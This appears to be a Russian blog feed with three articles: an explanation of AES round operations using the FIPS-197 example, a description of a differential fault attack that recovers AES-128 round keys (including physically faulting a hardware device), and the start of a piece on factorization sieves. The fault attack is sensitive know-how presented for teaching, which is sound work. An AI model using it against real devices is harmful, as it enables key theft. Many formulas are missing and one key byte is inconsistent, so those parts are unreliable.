Шифр

АES американский стандарт шифрования. Часть II

03.07.2020 16:05:03 |

Автор: admin

Основные операции шифра

Рассматривая работу отдельных операций раунда, и повторяя раунды нужное число раз при этом иллюстрируя все промежуточные действия, а не только их конечные результаты, конкретным примером сообщения и ключа шифра мы в деталях наблюдаем все шаги процесса шифрования и можем анализировать, те условия при которых они реализуются, те результаты которые получаются и т.п. Помним при этом, что дьявол кроется в деталях.

При слепом обращениях к имплементациям пользователь ничего этого не видит, не ощущает и главное не понимает как шифрование происходит. Он задает только текст сообщения и ключ. Это все, что пользователю понятно. Пользователь целиком доверяет разработчику, на чем уже многократно попадались деятели от государственного уровня до рядовых пользователей. Это и прослушивание переговоров дипломатических представительств и отказ технических систем, когда чужое коммуникационное оборудование покупается и устанавливается без оглядки.
Как анализировать процесс шифрования, на что и как влияет внесение изменений не ясно.

Продолжая тему о блочном шифре победителе конкурса, проводимого Национальным институтом стандартов и технологий США (1997 2000), будем рассматривать его функционирование, работу. Агентство национальной безопасности США не являлось участником конкурса, поэтому шансы стать победителем у разработчиков были велики.

Конкурсной комиссией были предварительно отобраны 15 заявок от разных стран. Выступать могли как организации, так и частные лица. В итоге победил RIJNDAEL(Бельгия) авторы Винсент Рюмен (Vincent Rijmen) и Ион Дэмен (Joan Daemen). Структуру шифра считают классической SP-сетью.

Ранее уже приводились основные технические характеристики и повторяться не будем.

Шифрование сообщений

Разработчиками создан шедевр, впервые идеология и реализация симметричного блочного шифра стала до конца понятной, так как шифр полностью основан на элементах классической (прозрачной) алгебраической структуры (поле), с достаточно скромными для обозрения количественными характеристиками. Конечное расширенное поле (поле многочленов) характеристики 2 имеет степень расширения n=8 и число элементов (порядок поля 2⁸ = 256), отсюда обозначение поля GF(2⁸).

Выбор неприводимого многочлена поля $inline$ и примитивного элемента поля = 00000011₂ = 3₁₀, также не является загадочным. Одним словом, это не DES и не отечественный ГОСТ 28147.89.
Исходные тексты подготавливаются на устройствах с клавиатурой, используя
Таблицу Символы кода ASCII

Раунды и операции шифрования АЕS

Число раундов шифра обозначается Nr и зависит от длины ключа (Nr = 10 для ключа 128 битов, Nr= 12 для ключа 192 бита и Nr = 14 для ключа 256 битов).
Цикл (один раунд) шифрования AES состоит (в изменении состояния State шифруемого сообщения) из четырех основных операций:
1. AddRoundKey S + Ki; суммирование состояния (исходного текста с ключом)
2. SubBytes ax^-1 + b; замена результатов суммирования другими байтами
3. ShiftRows; Sp(x); циклические сдвиги строк на разное число позиций
4. MixColumns A0S. перемешивание столбцов квадрата.

Покажем, как это происходит на числовом примере для текущего состояния в каждой операции, начиная с верхней (нулевой) строки. Результаты 2-й и 3-й операций не требуют числовых преобразований, но MixColumns связана с умножением 2-х матриц и определение элементов результирующей матрицы требует конкретных вычислений в поле GF(2⁸). Алгоритм выработки ключа (Kеу Schedule) формирует 32-разрядные слова, число которых равно длине блока Nb.

Первому раунду предшествует предварительный (нулевой), в котором суммируются квадраты исходного текста и ключа. Рассмотрим каждую операцию более детально.

Существует анимация, поясняющая функционирование алгоритм шифра AES, весьма наглядно демонстрируются раундовые операции. Автор не ставил перед собой цели показать все детали процесса зашифрования, но даже этот упрощенный вариант (на уровне байтов), что почти совпадает с элементами поля GF(2⁸), удачно демонстрирует работу шифра AES. Детальное изложение для уяснения математических основ работы с элементами поля и конкретная реализация в различных представлениях элементов поля здесь.

Операция AddRoundKey для i-го раунда

Суммирование столбцов State с раундовым ключом (Add Round Key).

Раундовый ключ, предварительно вычисленный и выбранный, представляется в форме (квадрат) State (Key). Суммирование выполняется для одноименных столбцов. Пара столбцов State (Data) и State (Key) операцией XOR поразрядно складывается.

Таким образом, преобразование AddRoundKey состоит из суммирования матрицы S блока (квадрата 44) сообщения в M4(GF(2⁸)) с частичным Ki ключом i-го раунда (также с квадратом 44 ). Результат суммирования обозначается SiA, т е. состояние после i-го AddRoundKey M4(GF (2⁸)) M4(GF (2⁸)), S SiA = S + Ki.
В начальном раунде (r = 0) выполняется только Add RoundKey суммирование по mod2 (XOR) байтов блока данных и блока ключа. Результат этого раунда используется как исходное (State) состояние для первого раунда (r=1) и представляется в формате квадрат.
Шифрование сообщений AES

Пример 1. Сообщение (исходный текст = ИТ) в 16-ричном представлении
имеет вид 32 43 f6 a8 88 5a 30 8d 31 31 98 a2 e0 37 07 34,
а ключ шифра 2b 7e 15 16 28 ae d2 a6 ab f7 15 88 09 0f 4f 3c.
Операция AddRoundKey S + Ki для всех 16 байтов квадрата State
Предварительный раунд зашифрования подготавливает сумму ИТ с ключом.

Их Сумма, представленная байтами в формате квадрат при Nb = Nk = 4 и Nr = 10 имеет вид:

Рисунок Результат предварительного раунда (до первого)

Ключ и исходный текст (это может быть и звук и картинка и др.) представлены в 16-ричном виде. Это не самое удобное представление, поэтому преобразуем его к двоичным векторам и выполняем сложение по модулю 2.

Для удобства ручного счета 16-ричное представление байтов преобразуется в двоичное, а после суммирования обратный переход от двоичного к 16-ричному представлению.

Операция SubByte для i-го раунда

Замена байтов (Sub Bytes ( ) )

Первый раунд. Операция AddRoundKey уже выполнена. Все байты суммарного квадрата (исходного состояния обозначим их точками (х, y) на некоторой плоскости) преобразуются функцией S (x, y) в новые значения табличка "Замена байтов".

Заменяем угловой (левый верхний) байт State = Сумма, (равный 19), на байт d4 из таблицы замен S-блока и следующий (3D) на 27 (они выделены заливкой). Так преобразуются все 16 байтов квадрата "Сумма".

Так для первого байта {19} = {x, y}, x = 1, y = 9, S(19) = d4. Все такие значения также представляются квадратом с замещениями.

Функция S (x, y) табулирована, т. е. задана таблицей с двумя входами строка (х) и столбец (у). Поскольку все многообразие байтов исчерпывается числом 256, то таблица имеет размер 1616 = 256, а ее строки и столбцы пронумерованы x, y = 0(1)15 цифрами 16-ричной системы счисления. Вид таблицы S (x, y) приведен ниже.

Покажем, как получены значения этой таблицы S (x, y). Вначале каждый байт исходного состояния {x, y} преобразуется в инвертированный {x, y}^-1, в мультипликативный обратный в поле GF(2⁸). Затем байт умножается на матрицу А. Нулевой байт переходит в себя {0, 0}^-1 = {0, 0}.

Каждая строка матрицы аффинного преобразования А содержит лишь пять единиц.

Затем к инвертированному (обращенному) байту применяют аффинное преобразование, которое в векторно-матричной форме записывается так

Аффинная матрица

Запись векторов сверху (младший разряд) вниз. Вектор сдвига c = {63}₁₆, что в таблице S (x, y) отражено для байта {00}. Каждый байт исходного состояния подвергается такому преобразованию, и их значения вписаны в квадратную таблицу S (x, y).

Скалярное представление аффинного преобразования имеет следующий вид (общий вид i -го элемента результата):

где $inline$ ; $inline$ , $inline$ ^' соответственно исходное и преобразованное значение i-го разряда байтов, i = 0(1)7.

Выражение для $inline$ ^' содержит 6 слагаемых, так как каждая строка циклической матрицы аффинного преобразования имеет лишь 5 ненулевых элементов; шестое слагаемое берется из вектора сдвига ci.

Для ускорения вычислений используется квадратная таблица фиксированных значений (S (x, y) блок). Значение b =63 16 ричное число принадлежит GF(2⁸) и матрица а имеет вид, показанный ранее. В сущности, операция реализует подстановку (замену) байт из S квадрата 1616.

Преобразование SubByte состоит в применении к каждому элементу матрицы S элементарного преобразования s. Результат этой операции обозначается SiSu, т. е. это состояние блока текста после операции SubByte i-го раунда. Не путать буквы S и s (большую и малую).

В сущности, здесь выполняется аффинное преобразование с постоянным вектором сдвига, обозначаемым символом b
M4 (GF(2⁸)) M4 (GF(2⁸)).

Запись векторов сверху (младший разряд) вниз. Вектор сдвига c = {63}₁₆, что в таблице S (x, y) отражено для байта {00}. Каждый байт исходного текста (состояния) подвергается такому преобразованию, и их значения вписаны в таблицу S (x, y).

Пример 2. Первый байт исходного состояния первого раунда равен {19}. Мультипликативный обратный для него (см. Табл. П1) равен 3f = {19}^-1= 0011 1111₂ =¹¹³. Это значение легко находится по таблице элементов поля GF(2⁸). При отсутствии таблицы элементов поля можно выполнить и непосредственные вычисления.

Пусть байт {x, y} = 09 = ¹⁹⁹ и {09} ^-1 = 4f, тогда
b0 = (1+0+1)mod2 = 0, b4 = (1+1+0)mod2 = 0,
b1 = (1+0+1)mod2 = 0, b5 = (0+1+1)mod2 = 0,
b2 = (1+0+0)mod2 = 1, b6 = (0+1+1)mod2 = 0,
b3 = (1+1+0)mod2 = 0, b7 = (0+1+0)mod2 = 1.
Результирующий вектор ( 0, 1, 2, 3, 4, 5, 6, 7) =1000 0100₂ = 84.

Следовательно, байт 4f S-блоком преобразуется в байт 84, что можно увидеть в таблице замен S (x, y) = S (4, f) = 84. Этот результата лежит на пересечении строки с номером 4 и столбца с номером f. Геометрическое представление замены байтов (SubBytes) изображено на рисунке 4, где s нелинейное преобразование, определяемое соотношениями:
GF(2⁸) GF(2⁸),

Операция ShiftRows для i-го раунда

В каждом раунде после замены всех байтов State получен квадрат (средний) исходного состояния для преобразования сдвига строк. Такой сдвиг способствует еще большему перемешиванию данных.

Выбор величин сдвигов подчинен следующим условиям:
Каждая строка должна иметь индивидуальное смещение элементов;
Реализация операции должна быть простой;

Совокупность сдвигов наилучшим образом должна препятствовать проведению атак:

А) атак, использующих сокращенные дифференциалы
В) атак типа Square.

Рисунок 5 Состояние после сдвига строк

ShiftRows преобразование перемещения байтов строки в матрице состояния S, которое циклически сдвигает строки матрицы состояния на различные по величине смещения. Результат операции обозначается SiSh, т. е. это состояние после операции ShiftRows
i-го раунда. Такие перемещения могут быть описаны Р(х) перестановкой байт из квадрата S, которая имеет вид:

Из всех вариантов сдвигов, обеспечивающих наилучшее противостояние атакам, был выбран самый простой циклический сдвиг и c0 = 0.

Геометрическое представление преобразования замены байтов изображено на рисунке 4, где приведены квадраты числового примера для первого раунда.

Сдвиг строк в массиве State выполняется влево. Строка с номером нуль остается неподвижной (не сдвигается). Остальные строки RIJNDAEL сдвигаются на число байтов c1, c2, c3, указанное в квадрате на рисунке 5), в зависимости от числа Nb байтов в блоке данных. Строка 1 сдвигается на c1 байтов, строка 2 на c2 байтов и строка 3 на с3 байтов.

В стандарте AES величина Nb = 128 постоянная, поэтому всегда c1 = 1, c2 = 2 и c3 = 3.

Таблица Величины сдвигов

Операция MixColumns для i-го раунда

Это преобразование применяется для обеспечивания рассеивания символов исходного сообщения, удовлетворения второго после перемешивания требования к шифрующим преобразованиям. Требования к такому преобразованию, предъявляемые теорией синтеза шифров, следующие.

Обратимость получаемого результата.
Линейность в поле GF(2⁸); выполнение этого требования создает условия для применения алгоритма прямого расшифрования.
Достаточно сильное рассеивание данных.
Высокую скорость реализации на 8-разрядных процессорах; единообразие обработки любых блоков данных, т. е. симметричность.
Простой вид для описания и реализации.

Все названные требования удовлетворены в стандарте АES. Из возможных линейных преобразований 4 bytes 4 bytes выбрана операция умножения многочленов (элементов поля) по модулю (x) = x⁴ + 1. Выбор коэффициентов сомножителей обусловлен требованиями 1, 3 и 4. Коэффициенты {00}, {01}, {02}, {03}, соответствуют: {00} отсутствию преобразования; {01} не требуется умножения; {02} умножение при использовании функции x time ( ) и {03} при использовании x time и последующего сложения по mod2 промежуточных результатов.

По другим, не менее важным сообщениям, выбор коэффициентов был остановлен на приведенных выше значениях.

Сущность преобразования Mix Columns ( ) состоит в следующем. Столбцы State
S = < S0c, S1c, S2c, S3c>, с = 0(1)3, после сдвига строк рассматриваются как элементы поля GF(2⁸) и умножаются по mod(x⁴ + 1) на фиксированный многочлен g(x):
g(x) = {03}x³+{0,1}x²+{01}x+{02}.

где с номер столбца State, c = 0(1)3.

где А циркулянтная матрица, т. е. линейное инвертируемое (обратимое) отображение на GF (2⁸), А принадлежит M8(GF (2⁸)),
обозначает умножение матрицы из GF (2⁸) и вектора
х -1 = {b0 b1b7 }b, который рассматривается как элемент над полем GF(2) векторного пространства, эквивалентный транспонированному в вектор {b0 b1b7 }b.

Развернем это выражение в скалярную форму
S0C = ({02} S0C) ({03} S1C) S2C S3C;
S1C = S0C ({02} S1C) ({03} S2C) S3C;
S2C = S0C S1C ({02}S2C) ({03} S3C);
S3C = ({03} S0C) S1C S2C ({02} S3C).
В результате выполнения указанных действий байты вектора
SC = <S0c, S1c, S2c, S3c> будут заменены байтами S0C, S1C, S2C, S3C.

MixColumns преобразование состоит из умножения двух матриц. Матрицы S промежуточного состояния текста и фиксированной матрицы A0 обе из введенного ранее множества M4 (GF (2⁸)). Результат операции обозначается символом SiM, это по существу состояние S после операции MixColumns i-го раунда.

M4 (GF (2⁸)) M4 (GF (2⁸)),
S Si, М = АS,
где матрицы А и А^-1 (циркулянтные матрицы) определяются как:

.
Операция MixColumns произведение специальной цикловой А0 матрицы на матрицу State, по правилу строка на столбец

.
Два пустых столбца в результирующей матрице оставлены для самостоятельного заполнения.
Начинаем с левого углового элемента нулевой строки квадрата. Его значение определяется суммой произведений пар элементов: {02}D4{03}BF {01}5D {01}30. Элементы обеих матриц это элементы поля GF(2⁸) с одной стороны и информационные байты в 16-ричном представлении с другой. Умножение элементов в поле удобно выполнять в степенном представлении примитивного элемента.

Пользуясь таблицей поля, выполним замену 16-ричного представления на степенное для левой цикловой матрицы элементы {01} = a⁰, {02} = a²⁵, {03} = a¹. Для правой матрицы в произведении получим

Теперь можно переписать сумму для углового элемента и остальных в строке через степени примитивного элемента расширенного поля, слагаемые разместим в колонках таблицы.
Результаты суммирования помещаем в последней строке таблицы для каждой строки матрицы перемешанных столбцов.

1-й элемент нулевой строки определяется в виде:

{02}D4 {03}BF {01}5D {01}30 = a²⁵а⁶⁵ a¹а¹⁵⁷ a⁰а¹³⁶ a⁰а¹⁰¹ = а⁹⁰ a¹⁵⁸а¹³⁶а¹⁰¹,

2-й элемент нулевой строки определяется аналогичным соотношением (поменялся столбец)

{02}Е0{03}B4 {01}52 {01}АЕ = a²⁵а⁶⁸ a¹а²⁵¹ a⁰а²⁵³ a⁰а¹²³ = а⁹³ a²⁵² а²⁵³а¹²³,

3-й элемент нулевой строки определяется аналогичным соотношением поменялся столбец

{02}B8{03}41 {01}11 {01}F1 = a²⁵а⁵⁹ a¹а¹⁴³ a⁰а⁴ a⁰а⁷⁴ = а⁸⁴ a¹⁴⁴ а⁴ а⁷⁴,

4-й элемент нулевой строки определяется аналогичным соотношением поменялся столбец

{02}1Е{03}27 {01}98 {01}Е5 = a²⁵а²⁸ a¹а¹⁰⁶ a⁰а⁸⁹ a⁰а³² = а⁵³a¹⁰⁷ а⁸⁹а³².

Показатели степеней просто суммируются при перемножениях как логарифмы. Суммирование слагаемых удобно выполнить возвратом к 16-ричному, а от него к двоичному представлению. Опять воспользуемся таблицей элементов поля GF(2⁸).

Перейдем к вычислению элементов 1-й строки матрицы (изменяется номер строки циклической матрицы) Элементы в парах произведений изменяются относительно 0-й строки.

1-й элемент 1-й строки матрицы перемешанных столбцов определяется соотношением.

Перейдем к вычислению элементов 2-й строки матрицы (изменяется номер строки циклической матрицы). Элементы в парах произведений изменяются относительно 1-й строки.

1-й элемент 2-й строки матрицы перемешанных столбцов определяется соотношением

Перейдем к вычислению элементов 3-й строки матрицы (изменяется номер строки циклической матрицы) Элементы в парах произведений изменяются относительно 2-й строки.

Подробнее..

Категории: Информационная безопасность , Алгоритмы , Математика , Криптография , Шифр , Ключ , Сообщение , Раунд

AES американский стандарт шифрования. Часть V. Атака

14.07.2020 16:07:05 |

Автор: admin

Прочие статьи цикла

AES американский стандарт шифрования. Часть I
АES американский стандарт шифрования. Часть II
AES американский стандарт шифрования. Часть III
AES американский стандарт шифрования. Часть IV
AES американский стандарт шифрования. Часть V. Атака

После подробного изложения с деталями отдельных преобразований, с элементами конечного не отвлеченного (как во множестве публикаций, не исключая и Хабровских) алгебраического поля, а (конкретного), в рамках которого реализуется RIJNDAEL, AES-128 и (выполнения операций стандарта AES-128), можно перейти к рассмотрению возможных атак на шифр. Пока ограничимся одной атакой, по нашему мнению, наиболее доступной для понимания и прозрачно построенной (хотя, возможно, не всем читателям) Хабра.

К минусам-то я уже приучен, но с чем чёрт не шутит. Анализ возможных атак и ожидаемых результатов выполнялся многими авторами, но конкретных успешных примеров или просто впечатляющих замыслов явно недостаточно. Здесь будет рассмотрена с математических позиций атака с использованием вносимой нарушителем в шифртекст ошибки. Автор при выборе атаки для демонстрации старался не привлекать те, где используются слишком накрученые и заумные математические вещи, но сам рассматриваемый предмет достаточно серьёзный и не позволяет переходить к объяснениям на пальцах.

Важной целью публикации является показ применения математики, которая составляет основу AES-128, и которую, к сожалению, многие авторы обходят стороной или ложно интерпретируют голословно и бездоказательно, руководствуются тем, что мало кто может проверить и указать на их выдумки.

Материал статьи не полностью оригинальный замысел атаки, основные действия взяты из работы, но он был тщательно проработан, дополнен и проверен экспериментально моими учениками. Они-то получили хорошую практику и по высшей алгебре, и по криптологии.

1. Атака на ключ шифра AES

Сначала, описывается атака на AES в простом случае, и после этого становится видно, как можно обобщить такую атаку. Цель рассматриваемой атаки состоит в том, чтобы восстановить ключ K(Nr) шифра. Как только определяется частичный (раундовый) ключ K(Nr), становится просто получить ключ K.

1.1 Принцип атаки

Предполагается, что есть возможность изменять путем внесения ошибки "" в отдельный байт матрицы S состояния (один из 16) после операции ShiftRows (Nr 1), т. е. предпоследнего раунда, и известен индекс (#клетки) искаженного байта (элемента) состояния. Эта последняя гипотеза может быть опущена, она введена для того, чтобы более доступно объяснить механизм атаки. Новое значение элемента состояния предполагается неизвестным.

Ошибка "" распространяется на не более чем четыре байта состояния выхода процесса. Для всех 4-х изменяемых элементов состояния выхода, находится множество значений (набор) векторов возможной ошибки " " п. 1.4. Кроме того, появляется возможность пересекать множества возможных значений "" (определение 1) для этих четырех элементов. При пересечении таких множеств получается меньший набор, и таким образом, сокращается количество требуемых зашифрованных текстов для полного анализа.

Наконец, для каждой ошибки, мы выводим некоторые возможные искаженные значения четырех элементов предшествующего раундового ключа. Формируя другие зашифрованные тексты, мы находим четыре байта раундового ключа К(10). Эта атака остается успешной даже с большим количеством общих предположений о местоположении ошибки. Таких как отсутствие сведений о местоположении ошибки перед 9-м MixColumns() преобразованием. Разность матрицы шифрованного текста с искажениями и без них выявит искажения и их положение (в примере это позиции 0,7,10,13).

Предполагается также, что ошибки " ", вводимые в раунде 8 (до 8-го MixColumns() преобразования), могли бы быть полезными для анализа. Но при этом возрастает количество требуемых зашифрованных текстов для более полного анализа. Для рассматриваемого числового примера, необходимо около десяти зашифрованных текстов, чтобы получить четыре байта раундового ключа К(10), в условиях, когда не рассматривается гипотеза относительно местоположений ошибки.

1.2 Числовой пример воздействия ошибки на сообщение

Здесь используется тот же самый пример, который приводится в Приложении названной работы. Рассматриваются предпоследний и последний раунды процесса шифрования (байтовое представление данных имеет вид):

Вход = 32 43 F6 A8 88 5A 30 8D 31 31 98 A2 E0 37 07 34;
Ключ шифра = 2B 7E 15 16 28 AE D2 A6 AB F7 15 88 09 CF 4F 3C;
Выход = 39 25 84 1D 02 DC 09 FB DC 11 85 97 19 6A 0B 32;
Ошибка " " = 1Е 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00.

Следующая диаграмма показывает значения, содержащиеся в массивах состояний, в соответствии с длиной шифрблока и длиной ключа шифра по 16 байтов каждый (то есть, Nb = 4 и Nk = 4).

Распространение ошибки показывается жирным шрифтом и в шестнадцатеричном представлении. Ниже представлены квадраты состояния State в разных ситуациях

Ошибка " " = 1E, введенная в 0-й байт состояния 9-го раунда, приводит к изменениям в четырех байтах конечного состояния. Примеры вычислений для угловых клеток главной диагонали квадрата состояния:

в левую верхнюю (угловую) клетку квадрата State 9-го раунда вводится ошибка " " = 1Е

87 1Е = 1000 0111 0001 1110 = 1001 1001 = 99
нижний правый угол State 9-го раунда после MixColum9 суммируется с байтом ключа К(9):

BC 6E = 1011 1100 0110 1110 = 1101 0010 = d2.
вычисления значений результирующей ошибки.

При наличии двух текстов сообщений с ошибкой и без нее значения и положения искаженных байтов состояния определяются вычитанием одного текста из другого. В нашем случае такое вычитание можно заменить суммированием текстов по модулю два. Ненулевой результат получим только для байтов, измененных введенной в исходный текст ошибкой.

Например, в 16-ричном виде находим значения ошибок:
Таблица 7 вычисление значений ошибок

Получили в итоге разностные ошибки $inline$ _0=E7, _1=51, _2=47, _3=99$inline$. Дадим пример вычисления последнего байта ошибки:

62 FB = 01100010 11111011 = 1001 1001 = 99.
Положения измененных ошибкой байтов состояния
$inline$ _0=E7, _1=51, _2=47, _3=99$inline$.указывают на индексы для элементов раундового ключа (последнего раунда), как К[0], K[7], K[10], K[13]. Здесь 0, 7, 10, 13 номера клеток матрицы состояния, а матрица Ао это матрица преобразования перемешивания столбцов процесса зашифрования, первый столбец которой имеет вид: 02, 01, 01, 03.

Как введенная ошибка действует на конечном заключительном состоянии

Анализ информации, получаемой при введении ошибки

Единственной операцией, которая может содержать информацию относительно ключа K(Nr) является последнее SubBytes( ) преобразование. Следовательно, мы имеем четыре уравнения, где x0, x1, x2, x3, являются неизвестными переменными.

Мы хотим получить решения следующих четырех уравнений:
$inline$
$inline$
$inline$
$inline$
Байты $inline$ _0, _1, _2, _3$inline$, измененные ошибкой, содержат информацию о неизвестном ключе, сформировавшем эти байты.

Все такие уравнения можно обобщить в единственном уравнении
s(x +c) + s(x) =, (1)
где постоянная величина с = 01, 02 или 03 и именно это уравнение будем далее решать и анализировать.

Определение 1. Множество решений уравнения (1) для ошибок обозначим символом B(c) и определим выражением:
B(c)=S(c)={ GF [2⁸]: x GF [2⁸],s(x +c) + s(x) =}, |B(c)| =127.

Это индивидуальная область ошибок, соответствующая конкретной ошибке . Для других области для ошибок будут другими.

Определение 2. Рассмотрим линейное преобразование над полем GF (2):
: GF [2⁸] GF [2⁸];
xx² + x.

Образ отображения Im() GF (2)-векторного пространства, т.е. множество элементов
(x² + x) из GF [2⁸] обозначим Е1 = Im() и его размерность dimGF(2)(E1) = 7. Если Е1, то существуют два различных решения x1, x2 GF [2⁸] уравнения x²+x=, и решения удовлетворяют соотношению x2 = x1 + 1 и x2x1 = (modd x,(2⁸-1) ) по теореме Виеты.
Переменная это свободный член квадратного уравнения

Проиллюстрируем примером рассмотренное линейное преобразование.
Пример Задано поле GF [2⁸], над его элементами выполняется преобразование xx² + x.

Таблица 8 начальный фрагмент поля GF [2⁸] и результаты преобразования элементов.

В таблице 8 показано как преобразование изменяет пары, рядом стоящих в упорядоченном по десятичным значениям элементов списке, в один и тот же элемент поля. Из этого следует, что результат преобразования (образ) в два раза меньше прообраза (поле как бы сжимается в 2 раза). Этот принцип сжатия размерности множеств положен в основание предлагаемой атаки.

Предложение 2. Следующее утверждение справедливо для 1, 2 GF [2⁸] {0}:

2. Обобщение и реализация

Первым делом при помощи специального программного приложения формируются 20-ть шифртекстов с ошибкой. Для этого вводятся в модель (программу) исходный текст, ключ, ошибка и задается номер позиции, в которой ошибка помещается. Нажатием кнопки Пуск программа реализует алгоритм и выведет результаты 2-х последних раундов шифрования в развернутом виде для текста с ошибкой, текста без ошибки и разность между ними. После этого сохраняется шифртекст без ошибки и с ошибкой. Циклически изменяется значение ошибки и нажатием кнопки Пуск получают следующий шифртекст с ошибкой. На одном значении столбца формировалось по 5 шифртекстов с ошибкой.
Для реализации атаки необходимо при помощи программы открыть файл с шифртекстом без ошибки и шифртекстом с ошибкой (данные в файле представляются в 16-ричном виде), шифртексты и разность между ними отображаются в виде квадратного массива байтов (State). Нажатием кнопки Искать ключ запускается процедура поиска возможных байтов ключа. Текущее состояние процессов отображается в текстовом окне. После этого открывается шифртекст с другой ошибкой, и процедура повторяется. При получении байта ключа 10-го раунда он также отображается в соответствующем квадратном массиве байтов. При прогонке всех 20 сформированных на предыдущем этапе шифртекстов с ошибкой велика вероятность получения значений всех байтов ключа 10 раунда (иначе нужны ещё шифртексты с ошибками). После этого восстановить ключ шифрования по алгоритму Восстановление ключа шифра с использованием последнего подключа приведенному здесь.

Рисунок 11 Программный продукт построения шифртекста с ошибкой

Для ускорения процедуры перебора шифртекстов с ошибкой можно поставить галочку напротив кнопки Найти ключ

Рисунок 12 Программная реализация атаки

Пример работы программного продукта
Исходный текст 3243f6a8885a308d313198a2e0370734
Ключ 2b7e151628aed2a6abf7158809cf4f3c
Ошибка 1 1e000000000000000000000000000000
Шифртекст с ошибкой 1 de25841d02dc0962dc11c297193b0b32
Возможные байты ключа

Рисунок 13 Пример работы программы

Ключ 10 раунда d014f9a8c9ee2589e13f0cc8b6630ca6 ключ полностью восстановлен
Восстановленный ключ 2b7e151628aed2a6abf7158809cf4f3c, как и ожидалось он совпадает с заданным в сеансе шифрования ключом.

2.1. Ситуация, когда информация о местоположении ошибки отсутствует

В этом пункте, предполагается, что ошибка содержится в байте состояния, между последними двумя выполнениями операции MixColumns. Это тот же самый случай, когда предварительно за исключением того, что ошибка может быть заключена между байтов от 1 до 16. Ошибка при этом размножается операцией MixColumns и распространяется уже на 4 байта состояния.

В первой строке дифференциальной матрицы состояний формируется вынужденная ошибка. Здесь возможно определить, к какому столбцу принадлежит введенная ошибка, рассматривая столбец вынужденной ошибки. Это выполняется путем анализа четырех возможных позиций строки для введенной ошибки методом, представленным в предшествующем описании.

2.2. Аппаратное устройство

Предположим, что имеется возможность физически воздействовать на аппаратное устройство AES. Сначала вычислим шифры для более чем десяти случайных открытых текстов при помощи AES устройства. Затем изменяем примером проект, вырезая строки и подключая их к земле (или Vcc) temporaly между двумя байтами в течение раунда, расположенного в двух раундах перед завершением. В конце концов, мы имеем байт в раунде Nк -2, всегда заменяемый 00 (или FF).

Вычисляем другой раз то же самое сообщение с воздействующим устройством. Со случайными открытыми текстами, дефектный байт подобен случайной ошибке. Эта одиночная ошибка переходит в четыре ошибки в раунде Nк -1 и в шестнадцать ошибок в раунде Nк. При этом может быть получена матрица отклонений (дифференциальная), с помощью которой возможно, анализируя ошибку, найти последний раундовый ключ.

Литература
[1] FIPS PUB 197: Advanced Encryption Standard, csrc.nist.gov/publications/fips/fips197/fips-197.pdf
[2] Boneh, DeMillo, and Lipton, On the Importance of Checking Cryptographic Protocols for Faults, Lecture Notes in Computer Science, Advances in Cryptology, proceedings of EU-ROCRYPT97, pp. 37-51, 1997.
[3] E. Biham & A.Shamir, Differential Fault Analysis of Secret Key Cryptosystems, CS 0910, Proceedings of Crypto97.
[4] Ross J. Anderson, Markus G. Kuhn: Tamper Resistance a Cautionary Note, The Second USENIX Workshop on Electronic Commerce Proceedings, Oakland, California, November 18-21, 1996, pp 1-11, ISBN 1-880446-83-9.

Подробнее..

Категории: Информационная безопасность , Алгоритмы , Математика , Криптография , Шифр , Ключ , Раунд , Атака

Факторизация чисел и методы решета, часть I

08.10.2020 12:16:26 |

Автор: admin

В работе рассматривается традиционный подход, который автором в ряде статей критикуется.
Здесь я воздержусь от критики, и направлю свои усилия на разъяснение сложных моментов в традиционном подходе. Весь арсенал существующих методов не решает задачу факторизации в принципе, так как почти все решеточные и другие алгоритмы построены на жесткой связи и зависимости времени их выполнения от разрядности факторизуемого числа N. Но замечу, что у чисел имеются и другие свойства кроме разрядности, которые можно использовать в алгоритмах факторизации.

Оценки сложности эвристические опираются на рассуждения ограниченные авторским пониманием проблемы. Пора бы уже понять, что факторизация чисел в глубоком тупике, а математикам (не только им) пересмотреть свое отношение к проблеме и создать новые модели.

Простая идея факторизации целого нечетного числа N исторически состоит в поиске пары квадратов чисел разной четности, разность которых кратна kN, при k =1 разложение успешно реализуется так как в этом случае сразу получаем произведение двух скобок $inline$ c сомножителями N. При k>1 случаются тривиальные разложения.

Таким образом, проблема факторизации преобразуется в проблему поиска подходящих квадратов чисел. Понимали эти факты многие математики, но П. Ферма первым в 1643 году реализовал идею поиска таких квадратов в алгоритме, названном его именем. Перепишем иначе приведенное соотношение $inline$ .

Если разность слева от равенства не равна квадрату, то изменяя х, можно подобрать другой квадрат, чтобы и справа получался квадрат. Практически все нынешние алгоритмы используют эту идею (поиска пары квадратов), но судя по результатам, похоже, что идея себя исчерпала.

Предпосылки и возможности

Криптография с открытым ключом (асимметрические криптосистемы) ныне стала уже повседневностью, хотя совсем небольшой временной период (в историческом плане) отделяет нас от момента ее открытия. К основным ее отличиям от симметричной криптографии следует в первую очередь отнести возможность использования для передачи (шифрованных текстов (ШТ), других сообщений) незащищенных каналов в сетях информационного обмена, цифровую подпись, аутентификацию.

Математической основой этих фактов и явлений служат:
односторонняя (однонаправленная) функция;
односторонняя функция с лазейкой (с секретом).

Определение. Функция f: X Y называется односторонней, если существует эффективный алгоритм ее вычисления при любом Х, но не существует такого алгоритма для вычисления обратной к ней функции.

Определение. Функция f: X Y называется односторонней с секретом (с лазейкой, потайным ходом, trapdoor), если при наличии некоторой дополнительной информации (ключа) возможен эффективный алгоритм ее обращения. Под эффективным алгоритмом понимают полиномиальный в отличие от экспоненциального.

Математикам давно знакома проблема факторизации и они ищут пути ее эффективного решения. К основным достижениям (результатам) математики в области факторизации чисел следует отнести следующее:
метод Евклида отыскания наибольшего общего делителя (НОД), в котором для пары чисел b и а, если они составные, но взаимно простые, НОД (а, b)=1. Но если эти числа имеют общий делитель, то алгоритм НОД находит больший из всех делитель d и НОД (а, b)=d.

другой важный результат, которым располагает математика, состоит в том, что любое составное нечетное целое число N представимо разностью квадратов целых чисел разной четности $inline$ или иначе $inline$ . Второе соотношение допускает $inline$ целое. Эти результаты объединяются в одном соотношении $inline$ .

метод факторизации П. Ферма известен с 1643 года. Он находит наибольший множитель d числа N, не превосходящий $inline$ . Метод требует О( $inline$ ) арифметических операций и работает наиболее быстро, если множители p и q имеют близкие значения, т.е. когда их разность мала.
решето Эратосфена.

Метод линейного решета (алгоритм LS)

Рихард Шрёппель (Richard Schroeppel), занимаясь проблемой факторизации чисел, предложил оригинальный алгоритм для генерации соотношений следующего вида $inline$ .

На числовом интервале $inline$ , где 0 < e 1/2 фиксированное действительное число, рассматриваются две функции двух целочисленных переменных $inline$ , определенных в этом интервале I равенствами:
$inline$
$inline$
где $inline$ h = [N^], например,h =[15347^] = 124; a, b Z I.$inline$

